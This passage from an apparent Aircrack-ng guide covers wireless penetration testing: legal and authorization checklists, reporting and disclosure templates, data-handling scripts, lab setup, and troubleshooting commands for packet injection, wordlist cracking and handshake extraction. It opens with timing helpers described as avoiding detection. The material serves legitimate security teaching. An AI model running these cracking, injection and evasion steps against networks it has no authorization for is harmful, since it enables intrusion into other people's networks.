### Attack Timing and Patterns

```bash
# Random delay between attacks
random_delay() {
    sleep $((RANDOM % 60 + 30))  # 30-90 seconds
}

# Time-based attacks (avoid detection patterns)
business_hours_only() {
    local hour=$(date +%H)
    if [[ $hour -ge 9 && $hour -le 17 ]]; then
        return 0
    else
        return 1
    fi
}
```

---

## Legal and Ethical Guidelines

### Legal Considerations

#### Important Legal Requirements:

1. **Written Authorization**: Always obtain explicit written permission before testing any wireless network
2. **Scope Definition**: Clearly define what networks and techniques are authorized
3. **Data Handling**: Establish procedures for handling any captured data
4. **Reporting**: Document all activities and findings professionally
5. **Compliance**: Ensure compliance with local and international laws

## Ethical Testing Framework

### Pre-Engagement Checklist

- [ ] Written authorization obtained from network owner
- [ ] Scope of testing clearly defined and documented
- [ ] Emergency contact information available
- [ ] Data handling and destruction procedures established
- [ ] Insurance and liability considerations addressed
- [ ] Local laws and regulations researched and understood

### During Testing Best Practices

```bash
# Example authorization verification script
#!/bin/bash
# verify-authorization.sh

AUTHORIZED_NETWORKS_FILE="authorized-networks.txt"
TARGET_BSSID="$1"

if [[ -z "$TARGET_BSSID" ]]; then
    echo "Error: No target BSSID specified"
    exit 1
fi

if [[ ! -f "$AUTHORIZED_NETWORKS_FILE" ]]; then
    echo "Error: Authorized networks file not found"
    echo "Create $AUTHORIZED_NETWORKS_FILE with authorized BSSIDs"
    exit 1
fi

if grep -q "$TARGET_BSSID" "$AUTHORIZED_NETWORKS_FILE"; then
    echo "Authorization verified for $TARGET_BSSID"
    exit 0
else
    echo "Error: $TARGET_BSSID not in authorized networks list"
    echo "Do not proceed without proper authorization"
    exit 1
fi
```

### Professional Reporting

### Sample Report Structure:

markdown

# Wireless Security Assessment Report

**Client:** [Client Name]
**Date:** [Assessment Date]
**Assessor:** [Your Name/Company]
**Authorization:** [Reference to written authorization]

## Executive Summary

Brief overview of findings and recommendations.

## Methodology

Tools and techniques used:
- Aircrack-ng suite version X.X
- Hardware: [Adapter model and specifications]
- Testing duration: [Time period]
- Scope: [Networks tested]

## Findings

### Network Inventory
| SSID | BSSID | Channel | Encryption | Signal Strength |
|---|---|---|---|---|
| Network1 | AA:BB:CC:DD:EE:FF | 6 | WPA2 | -45 dBm |

### Vulnerabilities Identified
1. **WEP Encryption Detected**
   - Risk Level: Critical
   - Networks Affected: [List]
   - Recommendation: Upgrade to WPA3

2. **Weak WPA2 Passwords**
   - Risk Level: High
   - Time to Crack: [Duration]
   - Recommendation: Implement strong password policy

## Recommendations

### Immediate Actions Required
- Disable WEP encryption on all networks
- Update weak passwords
- Disable WPS if not required

### Long-term Security Improvements
- Implement WPA3 where supported

```
- Regular password rotation policy
- Network monitoring implementation

## Appendices
- Raw scan results
- Capture files (if authorized to retain)
- Tool output logs
```

## Data Security and Privacy

### Secure Data Handling

bash

```bash
# Encrypt captured data immediately
encrypt_capture() {
    local capture_file="$1"
    local password="$2"

    # Encrypt with GPG
    gpg --symmetric --cipher-algo AES256 --compress-algo 2 \
        --cert-digest-algo SHA256 --passphrase "$password" \
        --batch --yes "$capture_file"

    # Securely delete original
    shred -vfz -n 3 "$capture_file"
}

# Example usage
encrypt_capture "sensitive-capture.cap" "strong-encryption-password"
```

### Automated Data Cleanup

bash

```bash
#!/bin/bash
# secure-cleanup.sh - Secure cleanup of test data

RETENTION_DAYS=30
DATA_DIR="/var/log/wireless-testing"
LOG_FILE="/var/log/cleanup.log"

log_action() {
    echo "[$(date)] $1" >> "$LOG_FILE"
}

# Find files older than retention period
find "$DATA_DIR" -name "*.cap" -mtime +$RETENTION_DAYS -print0 | \
while IFS= read -r -d '' file; do
    log_action "Securely deleting: $file"
    shred -vfz -n 3 "$file"
done

# Clean temporary files
find /tmp -name "aircrack-*" -mtime +1 -delete
find /tmp -name "*.xor" -mtime +1 -delete

log_action "Cleanup completed"
```

## Compliance Frameworks

### Industry Standards Alignment

### Common Frameworks:

- **NIST Cybersecurity Framework**: Identify, Protect, Detect, Respond, Recover
- **ISO 27001**: Information Security Management
- **PCI DSS**: Payment Card Industry requirements
- **GDPR**: Data protection regulations

### Documentation Requirements:

```bash
```

```
# Compliance documentation template
create_compliance_docs() {
    local assessment_id="$1"
    local client_name="$2"

    mkdir -p "compliance-docs-$assessment_id"

    # Create required documentation
    cat > "compliance-docs-$assessment_id/chain-of-custody.txt" << EOF
Chain of Custody Log
Assessment ID: $assessment_id
Client: $client_name
Date: $(date)

Data Collection Events:
$(date): Initial network scan performed
$(date): Handshake captures obtained
$(date): Analysis completed
$(date): Data encrypted and stored securely

Handler: [Name]
Signature: [Digital signature]
EOF

    # Evidence inventory
    cat > "compliance-docs-$assessment_id/evidence-inventory.txt" << EOF
Evidence Inventory
Assessment ID: $assessment_id

Files collected:
- Network scan results (CSV format)
- Packet captures (encrypted)
- Log files (anonymized)
- Screenshots of tool output

Storage location: [Secure storage details]
Retention period: $RETENTION_DAYS days
Destruction date: $(date -d "+$RETENTION_DAYS days")
EOF
}
```

## Responsible Disclosure

### Vulnerability Reporting Process

bash

```bash
#!/bin/bash
# vulnerability-report.sh - Generate vulnerability reports

generate_vuln_report() {
    local client="$1"
    local severity="$2"
    local description="$3"
    local recommendation="$4"

    local report_id="VULN-$(date +%Y%m%d)-$(openssl rand -hex 4)"

    cat > "vulnerability-report-$report_id.md" << EOF
# Vulnerability Report: $report_id

**Client:** $client
**Date:** $(date)
**Severity:** $severity
**Status:** New

## Description
$description

## Technical Details
[Include technical details of the vulnerability]

## Proof of Concept
[Include sanitized evidence]

## Impact Assessment
[Describe potential impact if exploited]

## Recommendations
$recommendation

## Timeline
- Discovery: $(date)
- Initial Report: $(date)
- Expected Resolution: [Client to provide]

## Contact Information
Researcher: [Your contact information]
Client Contact: [Client security team]
EOF

    echo "Vulnerability report generated: vulnerability-report-$report_id.md"
}
```

```
# Example usage
# generate_vuln_report "Client Corp" "High" "Weak WPA2 password" "Implement strong password policy"
```

## Educational Use Guidelines

### Academic Research Compliance

bash

```
# Research ethics compliance checker
#!/bin/bash
# research-ethics-check.sh

check_research_ethics() {
    echo "Research Ethics Compliance Checklist"
    echo "====================================="

    read -p "Has this research been approved by IRB/Ethics Committee? (y/n): " irb_approval
    read -p "Are you testing only networks you own or have written permission? (y/n): " network_permission
    read -p "Will personally identifiable information be collected? (y/n): " pii_collection
    read -p "Are participants aware of data collection? (y/n): " informed_consent

    if [[ "$irb_approval" != "y" || "$network_permission" != "y" ]]; then
        echo "ERROR: Cannot proceed without proper approvals"
        exit 1
    fi

    if [[ "$pii_collection" == "y" && "$informed_consent" != "y" ]]; then
        echo "ERROR: PII collection requires informed consent"
        exit 1
    fi

    echo "Ethics check passed. Research may proceed within approved scope."
}

# Run ethics check before any research activities
check_research_ethics
```

### Teaching and Training Environments

bash

```
# Setup isolated lab environment
setup_training_lab() {
    echo "Setting up isolated wireless training lab"

    # Create isolated network configuration
    cat > lab-hostapd.conf << EOF
interface=wlan1
driver=nl80211
ssid=TrainingLab-WEP
hw_mode=g
channel=7
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

# WEP configuration for training
wep_default_key=0
wep_key0=1234567890
wep_key_len_broadcast=5
wep_key_len_unicast=5
EOF

    cat > lab-wpa-hostapd.conf << EOF
interface=wlan2
driver=nl80211
ssid=TrainingLab-WPA2
hw_mode=g
channel=11
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=TrainingPassword123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
EOF

    echo "Training lab configuration created"
    echo "Use these configurations ONLY in isolated environments"
}
```

---

## Troubleshooting Common Issues

## Hardware and Driver Problems

### Adapter Not Recognized

```bash
# Check USB device recognition
lsusb | grep -i wireless

# Check kernel modules
lsmod | grep -E "rt2800|rt73|ath9k|rtl"

# Load specific drivers
sudo modprobe rt2800usb
sudo modprobe ath9k_htc

# Check dmesg for driver messages
dmesg | tail -20
```

### Monitor Mode Issues

```bash
# Force interface down and up
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Check interface mode
iw dev wlan0 info

# Reset USB device
sudo usb_modeswitch -v 0x0bda -p 0x8176 -M 5553424312345678000000000000011
```

### Packet Injection Problems

```bash
# Test packet injection capability
sudo aireplay-ng -9 wlan0mon

# Check for injection support
iw list | grep -A 10 "supported interface modes"

# Test with specific target
sudo aireplay-ng -9 -e "TestNetwork" -a AA:BB:CC:DD:EE:FF wlan0mon
```

## Software Configuration Issues

### Missing Dependencies

```bash
# Install all required packages (Ubuntu/Debian)
sudo apt update
sudo apt install aircrack-ng build-essential libssl-dev libnl-3-dev \
    libnl-genl-3-dev pkg-config libsqlite3-dev libpcre3-dev \
    libhwloc-dev wireless-tools rfkill
```

### Permission Problems

```bash
# Add user to appropriate groups
sudo usermod -a -G netdev $USER
sudo usermod -a -G plugdev $USER

# Set proper permissions for raw sockets
sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/aircrack-ng
sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/aireplay-ng
```

## Performance Optimization

### CPU and Memory Optimization

```bash
# Monitor resource usage
top -p $(pgrep -d',' -f aircrack)

# Optimize CPU scheduling
sudo nice -n -10 aircrack-ng -w wordlist.txt capture.cap

# Use multiple CPU cores efficiently
aircrack-ng -w wordlist.txt -p $(nproc) capture.cap

# Monitor memory usage
free -h
ps aux | grep aircrack | sort -k4 -nr
```

### Network Interface Tuning

```bash
```

```
# Increase buffer sizes
sudo sysctl -w net.core.rmem_max=134217728
sudo sysctl -w net.core.rmem_default=131072

# Optimize network interface
sudo ethtool -G wlan0 rx 4096
sudo ethtool -G wlan0 tx 4096

# Set interface to maximum performance
sudo iwconfig wlan0mon power off
sudo iwconfig wlan0mon retry off
```

## Capture Analysis Issues

### Corrupted Capture Files

bash

```
# Check capture file integrity
capinfos capture.cap

# Repair corrupted capture
editcap -F pcap capture.cap capture-repaired.cap

# Extract specific packets
tshark -r capture.cap -Y "wlan.fc.type_subtype == 0x08" -w beacons-only.cap
```

### Missing Handshakes

bash

```
# Verify handshake presence
tshark -r capture.cap -Y "eapol" -V

# Check for all 4 handshake messages
tshark -r capture.cap -Y "eapol" -T fields -e frame.number -e eapol.keydes.key_info

# Extract handshake manually
tshark -r capture.cap -Y "eapol" -w handshake-only.cap
```

---

This comprehensive guide covers the complete Aircrack-ng suite with practical examples, security considerations, and legal compliance information. Remember that wireless security testing should only be performed on networks you own or have explicit written authorization to test.

**Key Takeaways:**

- Always obtain proper authorization before testing
- Use appropriate hardware and ensure driver compatibility
- Understand the legal and ethical implications
- Document all activities professionally
- Follow responsible disclosure practices
- Keep security and privacy as top priorities

The tools and techniques in this guide are powerful and should be used responsibly to improve wireless security, not to cause harm or violate privacy.